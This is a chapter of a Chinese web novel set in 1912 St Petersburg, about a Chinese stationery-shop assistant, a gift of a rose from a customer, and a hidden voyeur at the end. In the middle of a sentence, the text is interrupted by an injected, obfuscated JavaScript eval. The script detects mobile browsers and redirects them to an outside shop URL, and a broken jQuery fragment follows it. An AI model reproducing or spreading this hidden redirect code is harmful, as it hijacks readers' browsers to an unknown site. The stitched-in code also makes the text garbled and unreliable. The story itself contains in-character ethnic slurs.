1912年，圣彼得堡。
这是个漫长而寒冷的冬天，暴风雪肆虐遍野，东正教堂的穹顶、运河的弧线，皆白茫茫一片。
涅瓦河像把严肃而锋利的弯刀，将整座城市一分为二，一侧布满锈迹斑斑的管道和街巷，一侧镀满金黄优雅的宴会奢靡。
天还未亮，贵族还在酣睡，风雪再大，看门人和工人、学徒们也已开始起床铲雪，开始各自忙碌。
遍地白人中，即使被亚麻衬衣和粗呢外套裹得严严实实，那清瘦的人影还是很显眼，雪将他白皙的手背灼出红痕，老板六点就要来，他必须在此之前，烧好滚烫的红茶。
茶炊的蒸汽在冷空气里冒出白雾，细碎飘雪簌簌落在少年眼睫上，像覆了层寒霜，睫毛轻轻颤动，转瞬又被热气融化，混着寒意从脸颊流淌，顿时让他视线蒙上了层朦胧的雾。
唐仕在发呆，等水煮沸时，手指轻点木握柄，像是在描绘谁的样子。
连通的后院里，隔壁糖果店学徒站在门边偷懒，一起分享帕皮罗萨廉价烟草，戳戳身边伙伴，“萨沙，这家伙每天竟然还挺准时？”
“嗯哼。”
“我印象里中国来的臭鱼都是群狡诈、爱耍滑头的伪君子。天知道雅科夫先生为什么要招揽他，有他在，我每次都需要把钱包捂紧些，生怕丢了。”
仗着中国人听不懂俄语，糖果店学徒连声音都没压低声音。
同店的萨沙倒对这异乡人没意见：“他来了我活计轻松不少，这里毕竟是花园大街，雅科夫先生可能是想要更多的外国面孔彰显档次。”
“看高低档次，那也应该雇法国佬和大不列颠人啊。”
“唐仕会写字念书，找他的客人挺多，听说为进中国政府部门的考试，还上过很多年学。”
“哟，贵族老爷啊……”听到这，学徒眼底轻慢都收敛了，嘀咕道，“怎么沦落得这么远？难怪，和逃难到海参崴那些粗鄙的中国农人是不一样，我见过他脱下围巾和手套的皮肤，又细腻又白净。”
听伙伴用描绘女人的说辞来形容唐仕，萨沙古怪地看他几眼。
“唐！有客人……”
雅科夫老板在店内唤人，唐仕利索将热水灌进茶壶。
抽烟的俩学徒也连忙将帕皮罗萨掐灭，灰烬都用脚刨雪盖住，雅科夫先生一向不允许他们抽烟，据说会影响墨水纸张味道。
唐仕路过，满脸抱歉对萨沙说：“萨沙，时间来不及，能帮忙熄炭火吗？？”他的咬字发音很奇怪，但声音很柔，尽力将每个单词都说清晰。
萨沙表示：“啊？行啊。”
糖果店学徒近距离才看清唐仕样貌，瓷白光滑、莹洁如玉，长翘睫毛还沾着雪，很像在贸易使馆橱窗里，摆放的高档娃娃。
人离开，他拳头当即锤在哥们儿胸口上，悔恨着无能狂怒：“你怎么不告诉我，他听得懂俄语！这下好了，诋毁的话他全听见了。”
萨沙揉着胸口，简直莫名其妙：“你有病啊！这不废话吗？都来干活儿了，怎么可能听不懂。”
万尼亚踢雪堆泄愤：“他肯定记恨我，烦死了。”
萨沙疑惑：“啊？你不是歧视中国臭鱼吗？”
“……”
唐仕将茶壶放在小圆桌上，那里摆着一套精致洁白的细瓷茶具，杯口环绕着圈鎏金，杯碟上绘制着复杂彩绘纹样，是雅科夫先生贵族老顾客送他的礼物，他非常爱惜。
轻点杯盖，唐仕盛出茶水，虽身着素衣，但整个人文雅秀气，和普遍酗酒偷窃的俄国底层男人相比，确实气质上就有很大不同。
雅科夫先生是个体型微胖的精明商人，马甲上细金属链条扣着片眼镜，他连声催促：“贵客来了，先去照顾客人。”
“好的。”
走回柜台，唐仕隔着玻璃窗遥遥看见来人，不免有些小欣喜。
原来是那位先生啊，真好……
那位先生谦虚温柔、文雅成熟，修整高级的黑色西装，靴子擦得锃亮，据说是公务厅的调查员，对自己总是很多友好，并不像其他顾客，不是鄙夷，就总有意无意朝他揩油，唐仕很感恩自己得到这份工作，可唯一苦恼的就是这点。
‘叮铛——’
顾客进门，清亮地黄铜铃响起。
花园大街的店员通常不会去打扰顾客，唐仕的服务庄重克制，简单行了个轻微点头礼。
陌生国度里，周围俄国人戾气普遍都很重，可男人很礼貌，且这般浓烈俊朗的五官，他在唐家庄从未见过，让唐仕总想不自觉多瞧瞧。
在柜台假装翻码货单，唐仕眼睛总忍不住往男人的方位偷看，看他套着皮手套的手指从‘图林根’‘阿尔滕堡’墨水上一一划过，唐仕思维发散，心想：这位先生真的好喜欢用德国产的深蓝墨水。
发呆着，再度划到男人脸上……
！！！
却发现贵客正平静看向自己，吓得唐仕连忙垂下头，装作极为认真阅读码货本，书页被哗哗翻响，其实上面他大半都看不懂。
轻笑在头顶回荡，一沓象牙白的信签纸被皮手套推到他面前。
唐仕惶惶抬头，正好就撞进双湖蓝色眼眸里，像是冰川与海洋揉杂融化，上方弥漫着冬天的冷雾，飘渺、朦胧永远抓不住，却总情深无比。
“路德维希先生，您好。”
唐仕嗫嗫着礼貌问好，就套上白手套，为贵客打包商品。
店里的信笺纸都是高档货，注重挺括感，决不能卷起来，那样有失身份。所以唐仕先抽出张柔韧的薄纱棉纸松散包裹，再放进印有商店徽章的硬底纸盒。
在用蜡线打十字花捆时，他听见路德维希先生问：“你害怕我？”
唐仕慌忙抬头解释：“没有，不是的……”
路德维希：“连抬头看我都不敢，还说不怕？”
唐仕是不敢看那双漂亮眼睛，目光往下划，定格到他胸口佩戴绯红鲜花，现编了个借口：“您胸口的花很漂亮，我从未见过，便忍不住多看了几眼。先生，请原谅我的不礼貌。”
绯红被摘下，“红玫瑰，第一次见？”
黑色皮手套下，两根修长手指捏着花茎缓缓旋转，荒糜感顿生。
不知为何，如此简单的动作，却看得唐仕脸红心跳，大气都不敢喘。
他小声说：“我的老家中国有月季、蔷薇花，这枝像寒冰里沁出的艳色，我没见过红玫、玫……”陌生单词的咬字发音还是很艰难，唐仕轻声细语，很快吞没在喉咙里。
“红玫瑰。”
路德维希特地放慢语速重复，将花送到唐仕面前。
唐仕一怔，看向眼前瑰丽之物。
路德维希说：“俄语看来又有进步，作为奖励赠予你。”
贵族酷爱用鲜花装点体面，甚至是冬季的‘温室特权’，部分富豪为彰显身份，也会按租赁的方式，向花店按天数租赁花草装饰宴会厅。
一支红玫瑰绝对算极其珍贵的奢侈品，没想到，路德维希先生就这样随手送给了他。
别人微笑赠送的心意，拒绝总是不礼貌。唐仕小心翼翼接过，压下小确幸：“谢谢您的夸赞，不过还有很多词汇我依旧不熟悉，我会继续努力。”
他似在害羞好奇，低头轻嗅着玫瑰香味，浓烈艳色衬托着脸庞莹白，让那双蓝眼睛微光闪烁，犹深流过渊，缓缓转移到被粗呢围巾缠绕的脖颈间，再等唐仕开心抬眼时，男人温柔依旧。
甚至关心他：“脸色不好，最近休息得不好吗？”
摸摸冰凉脸颊，唐仕近几日醒来时，总觉得比睡前还疲惫，小脸也被连累得比较憔悴。于是他抿抿唇，小声说：“睡眠质量有一点点差，感谢您的关心。”
皮手套接过捆扎好的纸盒，眼眸饱含笑意：“休眠受到困扰，或许就该检查身边是否有恼人的虱子。唐，花很适合你，再见。”说罢，路德维希压压帽檐朝他礼貌作告别。
直至离开地铜铃摇晃，唐仕小脸苍白着，腮帮子微微鼓起，遮掩难过。
路德维希先生的话是什么意思？唐仕也明白很多俄国人是歧视他的，可是路德维希先生是他见过最有礼节的绅士，难道也会嫌他脏吗？
被馈赠玫瑰的喜悦顷刻消散，唐仕委屈地想，自己不脏的。
虽然租住廉价公寓楼，房间陈旧狭窄，可他打理得井井有条，每天都会洗澡换衣裳
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17942815|213974||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，绝不会有虱子的……
人走远，萨沙才惊奇地蹦哒过来，瞪着眼睛看唐仕手中的玫瑰花，咂舌道：“主啊，我的上帝！我还是第一次见这种西洋玫瑰，路德维希先生对你可真大方！嘶，怎么不送给我呢？！单枝拿出去起码值这个数……”
他夸张地比划出三根手指和拳头。
“三十卢布？！”唐仕被吓到，无措揉揉手指，他没想到竟然这么贵，自己房租每月也仅仅八卢布而已。
“嘿，唐仕！”萨沙朝他挑挑眉，“城里贵族小姐和绅士们极稀罕这玩意儿，还愁有价无市，我帮你找路子销出去，你分我五成怎么样？”
他眼冒精光，花已经自动化成堆钞票，唐仕坚定摇头：“不行，随意买卖礼物会践踏别人真心。”
萨沙失望透顶，看他呵护至极的样子，嘀咕吐槽：“穷得破衣服都翻来覆去织补，还讲究这些……啊！”
话没说完，后面卷起的报纸就重重砸到他脑壳上！
捂住脑袋回头，正是老板雅科夫先生，萨沙哭嚷：“叔叔，你打我做什么？”
没错，大字不识的萨沙正因是老板亲侄子，才得到做学徒的机会。
雅科夫先生斜睨着，万般看不起这扶不上墙的捣蛋鬼，“你有路子？路德维希先生住小椴树之家，可政府调查员每月薪水才多少？长长脑子，人家消息比你灵通百倍，一天撺掇别人做出些蠢事。”
萨沙撇嘴：“哼，贪官污吏！”
叔侄俩吵嚷语速太快，唐仕听得半懵半懂，他已经习惯安静地置身事外，只将玫瑰放在柔纱纸上仔细包好。
……
夜晚八点，点灯人已扛起梯子，沿途逐一点亮路灯。
这是个煤油、电灯共存的时代，但只有在繁华的涅瓦大街等高级场所才会被弧光灯照亮，借助微弱光亮，雪天路滑，唐仕小心翼翼踏进公寓楼。
就看见那古怪浓密大胡子邻居，拎着裤子在狭窄厕所里小便，门也不关，唐仕正好撞见。
听见声响，大胡子阴恻恻回头盯住他，阴鸷冰冷，脸上腻了层油脂，长得太粗犷，也不知他做什么工作，唐仕看见这邻居就心底发毛，强迫点头打了招呼，就快步走下房间。
这是间年代极老的廉价公寓，为了利益最大化，女房东将单层分割成好几间，木制楼梯踩上去吱呀作响，不仅隔音差，楼道里混杂着各种油烟、潮湿与霉味。
唐仕租住的是间狭窄的半地下室，糊着发黄的墙纸，窗户只有一半采光。
掉漆的木桌、两把歪歪斜斜椅子，和张宽大破旧的印花布沙发。好在虽破旧，但被打扫得整洁干净，沙发上垫了块绒布被他当成暖和的床。
取下外套围巾，唐仕将那枝仔细揣在怀里红玫瑰拿出，斜斜插进漂亮的墨水瓶里，灌上水。
放到柜子上，掌心撑住脸颊，唐仕怔怔望着，不知在想什么……
刺耳争吵声从楼顶砸下，打断他思绪。
原来是租客诺维科娃母女又吵架了，诺维科娃小姐是个家庭女教师，而诺维科娃夫人，连好脾气的唐仕都觉得刻薄，不仅压榨诺维科娃小姐上缴薪水，还整天逼迫她嫁给大她二十岁的商人。
唐仕喜静不善社交，而诺维科娃夫人更是鄙夷他血统，平日看到他都避如瘟疫，觉得和这种人住一块儿是有失身份，能知道这些私密事，都怪楼层隔音实在太糟糕。
为可怜的诺维科娃小姐叹口气，唐仕潦草切开黑面包，小口小口吃完。
困意上头，就将瓦罐里的热水倒进洗手架盆里，褪下衣服、拧干毛巾，开始简单擦拭。
潮湿热气蒸腾，乌黑细碎发丝软软垂坠在脸颊，白雾袅袅，眼下也被蒸出绯红余晕，破旧房间里，白与黑的映衬极为强烈。
透明水珠在肩颈凹陷处一颗颗滚落，长年不见阳光，他肌肤光滑雪白得像画中人，似乎轻轻一碰，就会泛起红痕，嫩到很容易留下印子。
唐仕洗得犯困发晕，却没注意到，墙上有个很不起眼的小缝隙，被破损老化的墙纸斜斜遮掩住。
一双贪婪病态的眼此刻正透过小洞，死死粘在他身上。
已经不知暗中窥视了多久。